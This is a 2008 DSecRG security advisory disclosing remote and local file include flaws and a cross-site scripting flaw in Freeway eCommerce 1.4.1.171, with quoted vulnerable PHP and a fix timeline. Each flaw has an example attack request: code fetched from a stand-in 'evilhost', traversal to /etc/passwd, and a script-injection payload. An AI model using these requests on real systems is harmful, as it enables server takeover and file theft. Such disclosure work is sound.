[DSECRG-08-036] Multiple Security Vulnerabilities in Freeway eCommerce 1.4.1.171

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-036

Application: Freeway eCommerce
Versions Affected: 1.4.1.171
Vendor URL: http://www.openfreeway.org/
Bugs: RFI, Multiple LFI, XSS
Exploits: YES
Reported: 27.06.2008
Second report: 04.07.2008
Vendor response: 06.07.2008
Solution: YES
Date of Public Advisory: 18.08.2008
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot]
ru)

Description

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Freeway eCommerce system has multiple security vulnerabilities:

1. Multiple Remote/Local File Include
2. Linked XSS vulnerability

Details

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1. Freeway eCommerce has Multiple Remote/Local File Include vulnerabilities.

1.1 Remote File Include vulnerability found in script admin/create_order_new.php

Vulnerable GET parameter "include_page".

Code

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#################################################

…
$command=isset($HTTP_GET_VARS['command'])?$HTTP_GET_VARS['command']:'';
…

    if($command!="")
    {
            switch($command){

…
case 'include_page':
require($HTTP_GET_VARS['include_page']);
break;
…

#################################################

Example:

http://[server]/[installdir]/admin/create_order_new.php?command=include_page&include_page=http://evilhost/info.php

1.2 Local File Include vulnerability found in script includes/events_application_top.php

Successful exploitation requires that "register_globals" is enabled.

Code

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#################################################

require(DIR_WS_LANGUAGES . $language . '/' . FILENAME_EVENTS_MESSAGES_MAIL);

#################################################

Example:

http://[server]/[installdir]/includes/events_application_top.php?language=…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd%00

1.3 Local File Include vulnerabilities found in scripts

includes/languages/english/account.php
includes/languages/french/account.php

Successful exploitation requires that "register_globals" is enabled.

Code

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#################################################

require(DIR_WS_LANGUAGES . $language . "/events_account.php");

#################################################

Example:

http://[server]/[installdir]/includes/languages/english/account.php?language=…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd%00

1.4 Local File Include vulnerability found in script
includes/languages/french/account_newsletters.php

Successful exploitation requires that "register_globals" is enabled.

Code

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#################################################

require(DIR_WS_LANGUAGES . $language . "/events_account_newsletters.php");

#################################################

Example:

http://[server]/[installdir]/includes/languages/french/account_newsletters.php?language=…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd%00

1.5 Local File Include vulnerability found in script
includes/modules/faqdesk/faqdesk_article_require.php

Successful exploitation requires that "register_globals" is enabled.

Code

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#################################################

//require('includes/application_top.php');
require(DIR_WS_LANGUAGES . $language . '/' . FILENAME_FAQDESK_REVIEWS_ARTICLE);

#################################################

Example:

http://[server]/[installdir]/includes/modules/faqdesk/faqdesk_article_require.php?language=…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd%00

1.6 Local File Include vulnerability found in script
includes/modules/newsdesk/newsdesk_article_require.php

Successful exploitation requires that "register_globals" is enabled.

Code

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#################################################

//require('includes/application_top.php');
require(DIR_WS_LANGUAGES . $language . '/' . FILENAME_NEWSDESK_REVIEWS_ARTICLE);

#################################################

Example:

http://[server]/[installdir]/includes/modules/newsdesk/newsdesk_article_require.php?language=…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd%00

1.7 Local File Include vulnerability found in script templates/Freeway/boxes/card1.php

Successful exploitation requires that "register_globals" is enabled.

Code

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#################################################

require(DIR_WS_LANGUAGES . $language . '/cards1_box.php');

#################################################

Example:

http://[server]/[installdir]/templates/Freeway/boxes/card1.php?language=…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd%00

1.8 Local File Include vulnerability found in script templates/Freeway/boxes/loginbox.php

Successful exploitation requires that "register_globals" is enabled.

Code

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#################################################

require(DIR_WS_LANGUAGES . $language . '/loginbox.php');

#################################################

Example:

http://[server]/[installdir]/templates/Freeway/boxes/loginbox.php?language=…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd%00

1.9 Local File Include vulnerability found in script templates/Freeway/boxes/whos_online.php

Successful exploitation requires that "register_globals" is enabled.

Code

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#################################################

require(DIR_WS_LANGUAGES . $language . '/whos_onlinebox.php');

#################################################

Example:

http://[server]/[installdir]/templates/Freeway/boxes/whos_online.php?language=…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd%00

1.10 Local File Include vulnerability found in script templates/Freeway/mainpage_modules/mainpage.php

Successful exploitation requires that "register_globals" is enabled.

Code

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#################################################

include(DIR_WS_LANGUAGES . $language . '/' . FILENAME_DEFINE_MAINPAGE);

#################################################

Example:

http://[server]/[installdir]/templates/Freeway/mainpage_modules/mainpage.php?language=…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd%00

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2. Linked XSS vulnerability found in script admin/search_links.php

GET parameter "search_link"

Example:

http://[server]/[installdir]/admin/search_links.php?search_link="<script>a=/DSecRG_XSS/%0d%0aalert(a.source)</script>

Solution

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Vendor fix this flaw on 13.08.2008. New version of Freeway 1.4.2.197 [Sathish] can be download here:

http://www.openfreeway.org/download.html

Change Log:

http://www.openfreeway.org/download/change-log.html

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